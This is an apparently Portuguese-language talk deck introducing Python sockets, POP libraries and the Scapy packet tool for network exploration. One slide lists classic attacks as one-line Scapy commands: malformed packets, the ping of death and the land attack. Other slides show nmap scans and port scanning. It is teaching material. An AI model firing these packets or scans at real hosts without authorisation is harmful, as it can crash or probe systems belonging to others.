### Python, Sockets e Pacotes

Uma introdução à programação e exploração interativa de redes usando a Linguagem Python

Fábio Olivé (fabio.olive@gmail.com)





#### **AVISO**

Não sou um especialista!

Sou apenas um curioso com anos de experiência





#### **Tópicos**

- Por que Python?
- Programação de redes em Python
- Exploração interativa de redes
- Scapy





#### Por que Python?





#### Por que Python?

- Elegância: sintaxe simples, clara e expressiva
- Orientada a Objetos tanto quanto necessário
- Tipos de dados dinâmicos e flexíveis (tudo é objeto)
- Interpretador interativo!
- Biblioteca riquíssima de módulos prontos
- Eu mencionei o interpretador interativo?





#### Por que Python?

- Vale a pena aprender Python mesmo que n\u00e3o se use no trabalho atual
  - Aprenda a pensar diferente!
- É uma linguagem sem frescuras e pontuações
- Não se precisa adicionar nada antes de começar o que realmente queremos programar
- Para quem gosta de fuçar, o Python oferece uma fina camada orientada a objetos entre seus dedos e as chamadas de sistema que se quer usar











Começando pelo básico: módulo socket

import socket as S





- Começando pelo básico: módulo socket
  - Criando sockets stream e datagram

```
import socket as S
c = S.socket(S.AF_INET, S.SOCK_STREAM)
```





- Começando pelo básico: módulo socket
  - Conectando numa tupla (endereço, porta)

```
import socket as S
c = S.socket(S.AF_INET, S.SOCK_STREAM)
c.connect(("server.qualquer.com", 110))
```





- Começando pelo básico: módulo socket
  - Lendo e escrevendo nos sockets

```
import socket as S
c = S.socket(S.AF_INET, S.SOCK_STREAM)
c.connect(("server.qualquer.com", 110))
c.recv(1024)
c.send("USER foobar\r\n")
```







- Começando pelo básico: módulo socket
  - Aceitando conexões

```
import socket as S
s = S.socket(S.AF_INET, S.SOCK_STREAM)
s.bind(("", 8001))
s.listen(5)
c, a = s.accept()
```







- Protocolos baseados em texto
  - Os mais comuns para os serviços típicos da Internet
  - Basicamente enviar e receber strings
- Protocolos binários
  - Complica a codificação
  - Módulo struct para criar representação binária dos dados
- Fácil, né? Isso SE precisar programar o protocolo!





- Com módulos prontos, fica facílimo!
- urllib, httplib, ftplib, poplib, imaplib, smtplib, ...

```
import poplib as P
pop = P.POP3("pop.gmail.com")
pop.user("foo")
pop.pass_("bar")
pop.list()
```









- Geralmente começa no shell, pingando por aí
- nmap -sP 192.168.0.1-254
  - Ping scan da rede para ver quem responde
- nmap -sS -O 192.168.0.17
  - TCP SYN scan para ver os serviços presentes
  - Tentar identificar o SO pelas características das respostas
  - Interagir com os serviços abertos e tentar obter maiores informações sobre a máquina em análise







- Tendo um alvo interessante para investigar, é comum o envio de pacotes de rede alterados, com campos incorretos ou inconsistentes, para procurar possíveis falhas
- Técnicas de exploração automática com fuzzing
  - Testar todos os valores possíveis de um determinado campo de um protocolo, ou valores completamente aleatórios, até que "algo interessante" retorne
- Ferramentas como nmap, hping, netcat, ...





- Muitas ferramentas prontas, porém sempre limitadas pela imaginação do autor
- Excesso de funcionalidade torna o uso das ferramentas uma tarefa muito complicada

```
hping3 [-hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG] [-c count] [-i wait] [--fast] [-I interface] [-9 signature] [-a host] [-t ttl] [-N ip id] [-H ip protocol] [-g fragoff] [-m mtu] [-o tos] [-C icmp type] [-K icmp code] [-s source port] [-p[+][+] des tport] [-w tcp window] [-0 tcp offset] [-M tcp sequence number] [-L tcp ack] [-d data size] [-E filename] [-e signature] [--icmp-ipver version] [--icmp-iphlen length] [--icmp-iplen length] [--icmp-ipid id] [--icmp-ipproto protocol] [--icmp-cksum checksum] [--icmp-ts] [--icmp-addr] [--tcpexitcode] [--tcp-timestamp] [--tr-stop] [--tr-keep-ttl] [--tr-no-rtt] [--rand-dest] [--rand-source] [--beep] hostname
```





- Que tal uma ferramenta que permita:
  - manipular mais os pacotes;
  - adicionar mais camadas de protocolos;
  - alterar mais facilmente os campos dos protocolos;
  - combinar protocolos de qualquer maneira;
  - enviar estes pacotes pela rede e colher respostas;
  - capturar pacotes da rede e manipular da mesma forma;
  - ... e ainda programável em Python?









- Ferramenta fantástica de manipulação interativa de pacotes, usando a sintaxe do Python
  - Na verdade é o próprio interpretador do Python, com uma série de funções e classes adicionadas :-)
- Permite criar, enviar, capturar, manipular e inspecionar pacotes de rede de forma interativa
- Permite a criação de scripts de análise de redes
- Substitui a maior parte das demais ferramentas
- No Fedora 18: sudo yum install scapy





Começando pelo básico: criando pacotes

```
IP(dst="192.168.100.30")
IP(dst="192.168.100.30") / ICMP(seq = 42)
ip = IP(dst="192.168.100.30")
send(ip / ICMP(id=123, seq=321))
send(ip / TCP(dport=8080, flags="S"))
```







Enviando pacotes e inspecionando resposta:

```
>>> res = sr1(ARP(pdst="192.168.254.12"))
>>> res.show()
###[ ARP ]###
 hwtype= 0x1
 ptype= IPv4
 hwlen= 6
 plen= 4
 op= is-at
 hwsrc= 00:16:78:20:7a:e5
 psrc= 192.168.254.12
 hwdst= 00:24:d7:a9:c9:a8
 pdst= 192.168.254.115
```







Enviando pacotes e inspecionando resposta:







- Ataques clássicos:
  - Pacotes mal-formados:

```
send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
```

- Ping da morte:

```
send(fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)))
```

Land attack (Windows)

```
send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
```







- Geração incremental de campos
  - Tupla (inicio, fim)
  - Exemplo: TCP port scan

```
sr( IP(dst="servidor") /
   TCP(flags="S", dport=(1, 1024)) )
```

Exemplo: Festa ICMP

```
send( IP(dst="1.2.3.4") / ICMP(type=(1,255)) )
```





Snifando pacotes da rede:

```
>>> cap = sniff(count = 1, filter = "igmp")
>>> cap

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>
>>> cap[0]

<Ether dst=00:24:d7:a9:c9:a8 src=00:1e:58:01:5f:4e type=IPv4 |
<IP version=4L ihl=5L tos=0x0 len=28 id=0 flags= frag=0L ttl=1
proto=igmp chksum=0x1b35 src=192.168.254.1 dst=224.0.0.1
options=[] |<Raw load='\x11d\xee\x9b\x00\x00\x00\x00' |>>>
```

 Hmmm parece que IGMP n\u00e3o est\u00e1 implementado no Scapy! ;-)







- Misto de ferramenta e ambiente de programação
- Muito interessante para quem estuda redes
  - Pode ser utilizado como ferramenta didática em aula!
- Permite a criação de scripts bastante complexos de análise de redes, usando o poder de expressão da linguagem Python
- Permite implementar port-knocking avançado
- Espero que tenham ficado interessados! :-)





### Dúvidas? Obrigado pela atenção!

Participe!
OeSC-Livre.org
TcheLinux.org



